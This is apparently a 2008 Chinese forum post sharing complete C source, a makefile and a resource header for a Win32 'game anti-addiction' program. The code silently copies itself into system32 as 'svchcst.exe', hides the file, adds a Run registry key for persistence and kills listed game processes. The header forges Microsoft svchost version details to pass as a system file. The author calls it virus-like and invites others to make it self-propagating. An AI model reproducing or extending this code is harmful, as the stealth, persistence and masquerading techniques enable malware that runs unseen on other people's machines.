游戏防沉迷软件[适用于所有单机/网络游戏][C源码][自写][win32平台]

朋友总用我的电脑打游戏，我就写了个这东西，嘿嘿
希望有高手能把这东西做成病毒，让它自动传播，已减少游戏危害。


注意：软件行为类似病毒，运行无界面，无任何提示，需手动删除。

说明：
游戏防沉迷软件

完成时间：2008年3月15日

运行平台：win32
编译环境：devc++ windowsxp-sp2
连接库：libpsapi.lib

功能描述：开机启动，监测进程，查杀进程以防止指定程序启动。
执行后系统改动：
1：创建文件C:\WINDOWS\system32\svchcst.exe（系统+隐藏属性）
3：添加注册表项Software\Microsoft\Windows\CurrentVersion\Run
主键：SuQiEr
键值：C:\WINDOWS\system32\svchcst.exe

程序流程详细描述：
启动程序
if(文件所在位置不为C:\WINDOWS\system32\svchcst.exe)
{
复制文件到C:\WINDOWS\system32\svchcst.exe
修改文件C:\WINDOWS\system32\svchcst.exe属性为隐藏+系统
写入注册表，以实现开机自动启动svchcst.exe
}
STRKILL:扫描进程，查找指定进程名并返回该进程pid
结束指定进程，程序停止1800秒，跳转至STRKILL

---------------makefile：
# Project: svchcst
# Makefile created by Dev-C++ 4.9.9.2

CPP = g++.exe
CC = gcc.exe
WINDRES = windres.exe
RES = kill_private.res
OBJ = main.o $(RES)
LINKOBJ = main.o $(RES)
LIBS = -L"d:/Dev-Cpp/lib" -mwindows D:/Dev-Cpp/lib/libpsapi.a -fmessage-length=0
INCS = -I"d:/Dev-Cpp/include"
CXXINCS = -I"d:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include" -I"d:/Dev-Cpp/include/c++/3.4.2/backward" -I"d:/Dev-Cpp/include/c++/3.4.2/mingw32" -I"d:/Dev-Cpp/include/c++/3.4.2" -I"d:/Dev-Cpp/include"
BIN = kill.exe
CXXFLAGS = $(CXXINCS) -ansi -fmessage-length=0
CFLAGS = $(INCS) -ansi -fmessage-length=0
RM = rm -f

.PHONY: all all-before all-after clean clean-custom

all: all-before kill.exe all-after


clean: clean-custom
${RM} $(OBJ) $(BIN)

$(BIN): $(OBJ)
$(CC) $(LINKOBJ) -o "kill.exe" $(LIBS)

main.o: main.c
$(CC) -c main.c -o main.o $(CFLAGS)

kill_private.res: kill_private.rc
$(WINDRES) -i kill_private.rc --input-format=rc -o kill_private.res -O coff



----------KILL_PRIVATE_H(版本与版权信息)
/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
/* DO NOT EDIT ! */

#ifndef KILL_PRIVATE_H
#define KILL_PRIVATE_H

/* VERSION DEFINITIONS */
#define VER_STRING "5.1.2600.2180"
#define VER_MAJOR 5
#define VER_MINOR 1
#define VER_RELEASE 2600
#define VER_BUILD 2180
#define COMPANY_NAME "Microsoft Corporation"
#define FILE_VERSION "5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"
#define FILE_DESCRIPTION "Generic Host Process for Win32 Services"
#define INTERNAL_NAME ""
#define LEGAL_COPYRIGHT "Microsoft Corporation. All rights reserved."
#define LEGAL_TRADEMARKS ""
#define ORIGINAL_FILENAME "svchcst.exe"
#define PRODUCT_NAME "Microsoft Windows Operating System"
#define PRODUCT_VERSION ""

#endif /*KILL_PRIVATE_H*/


----------main.c主功能代码
#include <windows.h>
#include <stdio.h>
#include <PSAPI.H>
#include <time.h>

#define GAMENAME "cs.exe","Wow.exe","war3.exe" /*游戏名列表，用逗号隔开*/
#define PLAYTIME 1800 /*定时为1800秒*/

#define KILLDIR "C:\\WINDOWS\\system32\\svchcst.exe"

/*自动启动*/
BOOL RegisterToAutoRun(void)
{
/*Define Varible*/
HKEY hKEY;
long ret;

LPSTR FileCurrentExeName = KILLDIR;
DWORD type=REG_SZ;
DWORD size=MAX_PATH;
LPCTSTR lpValueName="SuQiEr",Rgspath="Software\\Microsoft\\Windows\\CurrentVersion\\Run";

/*Open key*/
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE,&hKEY);
if(ret!=ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return 1;
}
/*Set Key*/
ret=RegSetValueEx(hKEY,lpValueName,(DWORD)NULL,type,(CONST BYTE *)FileCurrentExeName,size);
if(ret!=ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return 2;
}
RegCloseKey(hKEY);

return 0;
}


/*接受进程名字符串数组，并且将符合条件进程PID保存到列表；返回符合条件进程个数*/
int getSpecifiedProcessId(DWORD pID[],const char* pszProcessName[])
{
DWORD processId[1024], cbNeeded, dwProcessesCount;
HANDLE hProcess;
HMODULE hMod;
UINT i,j,pidcx=0;

char szProcessName[MAX_PATH] = "UnknownProcess";
DWORD dwArrayInBytes = sizeof(processId)*sizeof(DWORD);

if(!EnumProcesses(processId,dwArrayInBytes,&cbNeeded))
return 0;
/*计算数组中的元素个数 */
dwProcessesCount=cbNeeded/sizeof(DWORD);
/*enableDebugPriv();*//*用于提升进程权限*/
for(i=0;i<dwProcessesCount;i++)
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,processId[i]);
if(!hProcess)
{
continue;
}
else
{
if(EnumProcessModules(hProcess,&hMod,sizeof(hMod),&cbNeeded))
{
GetModuleBaseName(hProcess,hMod,szProcessName,sizeof(szProcessName));
for(j=0;*pszProcessName[j];j++)
{
if(!_stricmp(szProcessName,pszProcessName[j]))
{
CloseHandle(hProcess);
pID[pidcx++] = processId[i];
break;
}
}
}
}
}
CloseHandle(hProcess);
pID[pidcx++] = 0;
return pidcx;
}


/*自动复制,成功返回0*/
int myCopyFile(void)
{
SHFILEOPSTRUCT Op = {0};
int rettf=0;
char CurrentPath[MAX_PATH+1]= {0};
DWORD size=MAX_PATH;

GetModuleFileName(NULL,CurrentPath,size);

Op.hwnd = NULL;
Op.wFunc = FO_COPY;
Op.pFrom = CurrentPath;
Op.pTo = KILLDIR;
Op.fFlags = FOF_NOCONFIRMATION|FOF_SILENT;

rettf = SHFileOperation(&Op);
return rettf;
}


int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
DWORD pidcx=0;
DWORD pID[MAX_PATH]={0};
const char* pszProcessName[]= {GAMENAME,"\0"};/*进程名称列表*/
HANDLE handle1;
char CurrentPath[MAX_PATH]= {0};
DWORD size=MAX_PATH;
int i;

GetModuleFileName(NULL,CurrentPath,size);
if(_stricmp(KILLDIR,CurrentPath))
{
myCopyFile();/*拷贝文件*/
SetFileAttributes(KILLDIR,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN);
RegisterToAutoRun();/*自动运行*/
}

while(1)/*结束进程*/
{
pidcx = getSpecifiedProcessId(pID,pszProcessName);
for(i=0;pID[i];i++)
{
handle1=OpenProcess(PROCESS_TERMINATE,FALSE,pID[i]);
if(handle1)
TerminateProcess(handle1,0);
}
sleep(PLAYTIME*1000);
}
return 0;
}